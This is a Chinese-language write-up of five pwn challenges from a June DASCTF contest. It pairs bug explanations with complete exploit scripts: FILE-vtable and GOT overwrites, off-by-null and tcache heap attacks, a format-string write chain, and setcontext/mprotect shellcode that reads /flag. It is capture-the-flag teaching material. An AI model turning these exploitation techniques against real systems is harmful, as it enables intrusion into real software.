0%

DASCTF6月赛部分writeup

DASCTF6月赛pwn的writeup

secret

给了个printf的地址,关闭了stdout,可以改写任意地址上的指针低两字节,再通过这个指针写0x18字节

upload successful

然后还关闭了stderr,stdin

很容易就想到拿_IO_FILE开刀,但是对这个也不是很熟悉,于是卡了很久

就先看看远程的libc是什么版本,根据printf的地址,查到多个,最后确定了是libc2.29

libc2.29貌似不能修改vtable的内容,而且对vtable指针有要求(具体要求不太清楚),但是vtable指针附近偏差不大的地方都没什么问题,而且可写

那么就修改__IO_2_1_stderr的vtable指针的低两字节(只要和原来的位置偏差不大,而且可写就行,需要爆破),然后往新的指针指向的地址写3个qword,第三个刚好就是io_finish的位置,填上one_gadget即可

getshell后记得exec 1>&2恢复输出

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#coding=utf8
'''
脚本使用的库为welpwn(github可搜)
'''

from PwnContext import *

context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
# functions for quick script
s = lambda data :ctx.send(str(data)) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096,timeout=2:ctx.recv(numb, timeout=timeout)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

ctx.binary = './secret'
ctx.remote = ('183.129.189.60', 10030)
ctx.remote_libc = './libc.so' # libc-2.29
ctx.debug_remote_libc = True

#rs()
rs('remote')

ru('secret:')
printf = int(ru('\n', drop=True), 16)
leak('printf', printf)

lbase = printf - ctx.libc.sym['printf']
leak('lbase', lbase)

_IO_2_1_stderr_ = lbase + ctx.libc.sym['_IO_2_1_stderr_']
vtable = _IO_2_1_stderr_ + 0xd8

leak('_IO_2_1_stderr_', _IO_2_1_stderr_)
leak('vtable', vtable)


one1 = lbase + 0xe237f
one2 = lbase + 0xe2383
one3 = lbase + 0xe2386
one4 = lbase + 0x106ef8

#dbg()
#dbg('b *%s' % hex(one3))
#raw_input()
s(p64(vtable))
s('\xf0\x70') # 修改vtable地址低两字节
s(p64(0) + p64(0) + p64(one3))


irt()

Memory_Monster_IV

根据Dockerfile得知环境使用ubuntu19,libc是2.30

漏洞是负数溢出改got表

write和一个one_gadget非常相近,只差两个字节

但每次只能写一个字节,要保证写了一个字节后,程序不会异常,可以调整one_gadget的低字节往前看看,是否有使得write的最低字节修改后有ret指令之类的

leak的话就利用给的execve,libc地址随机化最低的12位是固定为0的,利用这点,程序的随机数异或没啥用

整个过程中,stdout莫名其妙的被关闭了(可能和write有关),getshell后执行exec 1>&2恢复输出

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#coding=utf8

from PwnContext import *
from time import sleep

context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
# functions for quick script
s = lambda data :ctx.send(str(data)) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096,timeout=2:ctx.recv(numb, timeout=timeout)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

ctx.binary = './Memory_Monster_IV'
ctx.remote = ('183.129.189.60', 10033)
ctx.custom_lib_dir = './lib'
ctx.debug_remote_libc = True

while True:
try:
#rs()
rs('remote')
# print(ctx.libc.path)

def write_byte(idx, byte):
sl(str(idx))
sl(hex(byte))


execve_addr = u64(ru('in', drop=True)[-8:])
execve_addr = execve_addr & (~0xfff)
execve_addr = execve_addr | (ctx.libc.sym['execve'] & 0xfff)
leak('execve', execve_addr)

lbase = execve_addr - ctx.libc.sym['execve']
one = lbase + 0x10afa4 # one_gadget=0x10afa9
write = lbase + ctx.libc.sym['write']
leak('lbase', lbase)
leak('one', one)
leak('write', write)


arr_addr = 0x5DE0
write_got = 0x4018
write_byte(write_got-arr_addr, one & 0xff)
write_byte(write_got-arr_addr+1, (one >> 8) & 0xff)


sleep(0.5)
sl('exec 1>&2')
sleep(0.5)
sl('ls flag')
ru('flag')

irt()
break
except KeyboardInterrupt:
break
except:
continue

easyheap

add处有个off-by-null
upload successful

大体思路是:

  1. off-by-null达到chunk overlap,之后leak出libc和heap的地址
  2. 同样操作,获得一个指向被free进unsorted bin里的指针,修改这个unsorted bin chunk的bk域,unsorted bin attack 到__free_hook-16的位置
  3. 之后就可以fastbin attack修改__free_hook成setcontext+53
  4. 然后就是mprotect,shellcode,orw一把梭

open调用号被禁用了,用openat替代

测试发现远程环境是2.27,add功能使用的是calloc,不会从tcache分配,要先把tcache填满

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
#coding=utf8

from PwnContext import *

context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'info'
# functions for quick script
s = lambda data :ctx.send(str(data)) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096,timeout=2:ctx.recv(numb, timeout=timeout)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

ctx.binary = './pwn'
ctx.remote = ('183.129.189.60', 10027)
ctx.remote_libc = 'libc.so.6' # libc-2.27
ctx.debug_remote_libc = True

def add(size, content, idx):
sla('Choice: ', '1')
sla('index>> ', str(idx))
sla('size>> ', str(size))
sa('name>> ', content)


def dele(idx):
sla('Choice: ', '2')
sla('index>> ', str(idx))


def show(idx):
sla('Choice: ', '3')
sla('index>> ', str(idx))


def edit(idx, content):
sla('Choice: ', '4')
sla('index>> ', str(idx))
sa('name>> ', content)


#rs()
rs('remote')

# 填满tchache
for i in range(8):
add(0xf8, 'a', i)

for i in range(8):
dele(i)

for i in range(7):
add(0x68, 'a', i)
add(0xf8, 'a', 7)
for i in range(8):
dele(i)

for i in range(8):
add(0x160, 'a', i)

for i in range(8):
dele(i)

# leak
# off-by-null覆盖chunk4的pre_inuse
add(0xf8, 'a', 0)
add(0x68, 'a', 1)
add(0x68, 'a', 2)
add(0xf8, 'a', 3)
add(0x68, 'a', 4)
add(0xf8, 'a', 5) # top

#dele(1)
dele(2)
dele(0)

pay = 'a' * 0x60
pay += p64(0x1e0) # pre_size
add(0x68, pay, 2)

# 根据pre_size=0x2e0会向前合并到#0
dele(3)

# chunk0+chunk1,切割后在unsorted bin里的刚好由#2控制,可以leak
add(0xf8+0x70, 'a' * 0xf8 + p64(0x71), 0)

show(2)
main_arena = u64(r(8))
leak('main_arena', main_arena)
lbase = main_arena - (0x7ffff7dcfca0 - 0x7ffff79e4000)
__free_hook = lbase + ctx.libc.sym['__free_hook']
mprotect = lbase + ctx.libc.sym['mprotect']
setcontext = lbase + ctx.libc.sym['setcontext']

leak('lbase', lbase)
leak('__free_hook', __free_hook)
leak('mprotect', mprotect)
leak('setcontext', setcontext)

# 将#1,#4放入fastbin使得#1里由#4的地址,再通过#0来泄露heap地址
dele(4)
dele(1)

show(0)
r(0x100)
heap_addr = u64(r(8))
leak('heap_addr', heap_addr)

dele(0)

# unlink
fake_chunk_addr = heap_addr-0x2d0
fake_chunk = ''
fake_chunk += p64(0) + p64(0x1d1)
fake_chunk += p64(fake_chunk_addr+0x8) + p64(fake_chunk_addr+0x10)
fake_chunk += p64(fake_chunk_addr)
fake_chunk += 'a' * (0x1d0- len(fake_chunk))
fake_chunk += p64(0x1d0) # pre_size


add(0x1d8, fake_chunk, 0)

#dbg('b free')
#
add(0xf8, 'a', 6)
dele(6)

# unsorted bin attack to __free_hook-16
# #0和#6错位了
fake_chunk = p64(0) + p64(0x101)
fake_chunk += p64(main_arena) + p64(__free_hook-16-16)
edit(0, fake_chunk)

add(0xf0, 'a', 7)

# fastbin attack
pay = ''
pay += 'a' * 0xf0
pay += p64(0) + p64(0x71)
pay += p64(__free_hook-16-3)

edit(0, pay)

add(0x60, 'a', 8)

# modify free_hook
context.arch = "amd64"
sc2_addr = __free_hook & 0xfffffffffffff000
sc1 = '''
xor rdi, rdi
mov rsi, %d
mov edx, 0x1000

mov eax, 0; //SYS_read
syscall

jmp rsi
''' % sc2_addr


pay = 'aaa'
pay += p64(setcontext+53) + p64(__free_hook + 0x10) + asm(sc1)

add(0x60, pay, 9)

frame = SigreturnFrame()
frame.rsp = __free_hook + 8 # ret
frame.rip = mprotect
frame.rdi = sc2_addr
frame.rsi = 0x1000
frame.rdx = 4 | 2 | 1
edit(0, str(frame))


#dbg('b *%s' % hex(setcontext+53))
#raw_input()
dele(0)

flag_str = '/flag\x00\x00\x00'
sc2 = '''
mov rax, %s
push rax
mov rdi, 0
mov rsi, rsp
xor rdx, rdx
mov rax, 257; //openat
syscall

mov rdi, rax
mov rsi, rsp
mov rdx, 1024
mov rax, 0; //read
syscall

mov rdi, 1;
mov rsi, rsp
mov rdx, rax
mov rax, 1; //write
syscall

mov rdi, 0
mov rax, 60
syscall; //exit
''' % hex(u64(flag_str))

s(asm(sc2))


irt()


oooorder

edit功能使用realloc,realloc(ptr, 0)相当于free(ptr)

而add功能可以使得size=0

那么就可以uaf了,leak地址后修改tcache_entry为__free_hook
然后又是setcontext,mprotect,orw

题目还关闭了fastbin的使用

upload successful

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
#coding=utf8

from PwnContext import *

context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'info'
# functions for quick script
s = lambda data :ctx.send(str(data)) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096,timeout=2:ctx.recv(numb, timeout=timeout)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

ctx.binary = './oooorder'
ctx.remote = ('183.129.189.60', 10028)
ctx.remote_libc = 'libc-2.27.so'
ctx.debug_remote_libc = True

def add(size, content):
sla('Your choice :', '1')
sla('How much is the order?', str(size))
if size != 0:
sa('Order notes:', content)


def edit(idx, content):
sla('Your choice :', '2')
sla('Index of order:', str(idx))
if content != '':
sa('Order notes:', content)


def show():
sla('Your choice :', '3')


def dele(idx):
sla('Your choice :', '4')
sla('Index of order:', str(idx))



#rs()
rs('remote')

# leak heap
add(0x10, 'aa') # 0
add(0, '') # 1 size=0
edit(1, '') # chunk1被free掉


add(0x10, 'aa') # 2 chunk1就是chunk2的node节点


show()

ru('[1]:')
heap = uu64(r(6)) - 0x2e0
leak('heap', heap)

dele(1)
dele(0)


add(0x10, p64(0) * 2) # 0 这块刚好是chunk2的node节点
add(0x10, 'a') # 1

# leak libc
# 填满tcache
for i in range(9):
add(0x50, 'a') # 3~11

# 留一个隔离top
for i in range(8):
dele(3+i)


add(0x30, 'a' * 8) # 3 sizeof(node)=0x10 0x10+0x30+0x10*2=0x50+0x10


show()
ru('[3]:')
ru('a' * 8)
main_arena = uu64(r(6))
__malloc_hook = main_arena - 0x70
lbase = __malloc_hook - ctx.libc.sym['__malloc_hook']
__free_hook = lbase + ctx.libc.sym['__free_hook']
setcontext = lbase + ctx.libc.sym['setcontext']
mprotect = lbase + ctx.libc.sym['mprotect']

leak('main_arena', main_arena)
leak('lbase', lbase)

# 修改了node2的内容
edit(0,p64(heap+0x10)+p64(0x240)) # heap+0x10
buf= '\x00'*4 + '\x01' + '\x00'*0x5b + p64(__free_hook) # 大小为0x60的tcache的数量置为1, 并指向__free_hook
edit(2, buf)


# 修改__free_hook为setcontext+53
add(0x50, p64(setcontext+53)) # 4

sc = '''
lea rdi,[rsp+0x3f]
mov rsi,0
mov rax,2
syscall; //open
mov rdi,rax
lea rsi,[rsp-0x100]
mov rdx,0x100
xor rax,rax
syscall; //read
mov rdi,1
mov rdx,rax
mov rax,1
syscall; //write
'''


buf = 'a'*0x68
buf += p64(heap) #rdi
buf += p64(0x1000) #rsi
buf = buf.ljust(0x88,b'a')
buf += p64(7) #rdx
buf = buf.ljust(0xa0,b'a')
buf += p64(heap+0x8b0) #rsp
buf += p64(mprotect) #ret
buf += p64(lbase+0x0000000000002b1d) # jmp rsp
buf += asm(sc)
buf += './flag\x00'

add(0x200, buf) #5


#dbg('b *%s' % hex(setcontext+53))
#raw_input()
dele(5)


irt()

springboard

格式化字符串,在堆上

格式化字符串先leak出libc和栈的地址

利用栈上的类似a->b,a在栈上,b也在栈上,这种栈上存了栈的指针,来任意地址写
如下图:

upload successful

先把循环变量改为负数,突破循环次数

0x7fffffffdda8的位置是13$,0x7fffffffde78的位置是39$

通过"%{}c%13$hn"0x7fffffffde78上存的0x7fffffffe1fc改成0x7fffffffe1ff,也就是循环变量的最高字节处

然后通过"%{}c%39$hhn",修改循环变量的最高字节,只要使得最高位是1,就能成为负数

同样的操作,将0x7fffffffe1ff改成0x7fffffffddd8(19$)
upload successful

这样就形成了13$->39$->19$的链

同过"%{}c%13$hhn"控制39$指向19$的偏移0-7,通过"%{}c%39$hhn"改写19$偏移0-7的内容
也就是可以在19$上布置任意地址,再通过"%{}c%19$hhn"就可以任意地址写了

改写main函数返回地址为one_gadget即可,

最后把循环变量改回整数,使得循环退出,main函数返回触发one_gadget

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
#coding=utf8

from PwnContext import *

context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'info'
# functions for quick script
s = lambda data :ctx.send(str(data)) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096,timeout=2:ctx.recv(numb, timeout=timeout)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

ctx.binary = './springboard'
ctx.remote = ('183.129.189.60', 10029)
ctx.remote_libc = 'libc.so.6' # libc-2.27
ctx.debug_remote_libc = True

rs()
#rs('remote')

def send(s):
sa('input your name:', s)

# leak libc stack
send('%11$p\n%13$p\n\x00')
ru('name:\n')
__libc_start_main = int(ru('\n', drop=True), 16) - 231
lbase = __libc_start_main - ctx.libc.sym['__libc_start_main']

leak('__libc_start_main', __libc_start_main)
leak('lbase', lbase)

stack = int(ru('\n', drop=True), 16)
leak('stack', stack)

# 修改i变量为负数
ref_i = stack - 0x7fffffffedf8 + 0x7fffffffecfc
off = (ref_i + 3) & 0xffff
if off != 0:
send('%{}c%13$hn\n\x00'.format(off))
else:
send('%13$hhn\n\x00')
send('%{}c%39$hhn\n\x00'.format(0xff))


# 形成13$->39$->19$一条链先
target_addr = stack - 0x7fffffffedf8 + 0x7fffffffed58
off = target_addr & 0xffff
if off != 0:
send('%{}c%13$hn\n\x00'.format(off))
else:
send('%13$hn\n\x00')

def set_addr(addr):
for i in range(8):
byte = (addr >> i * 8) & 0xff
off = (target_addr + i) & 0xff
if off != 0:
send('%{}c%13$hhn\n\x00'.format(off))
else:
send('%13$hhn\n\x00')


if byte != 0:
send('%{}c%39$hhn\n\x00'.format(byte))
else:
send('%39$hhn\n\x00')

def write_byte(byte):
if byte != 0:
send('%{}c%19$hhn\n\x00'.format(byte))
else:
send('%19$hhn\n\x00')


ref_ret = stack - 0x7fffffffedf8 + 0x7fffffffed18
set_addr(ref_ret)


one1 = lbase + 0x4f2c5
one2 = lbase + 0x4f322
one3 = lbase + 0x10a38c

for i in range(6):
byte = (one1 >> 8 * i) & 0xff
set_addr(ref_ret+i)
write_byte(byte)



#dbg('b *%s\nc' % hex(one1))
# 改回正数,使得循环退出
set_addr(ref_i+3)
write_byte(0)

#dbg('b *0x55555555495b')


irt()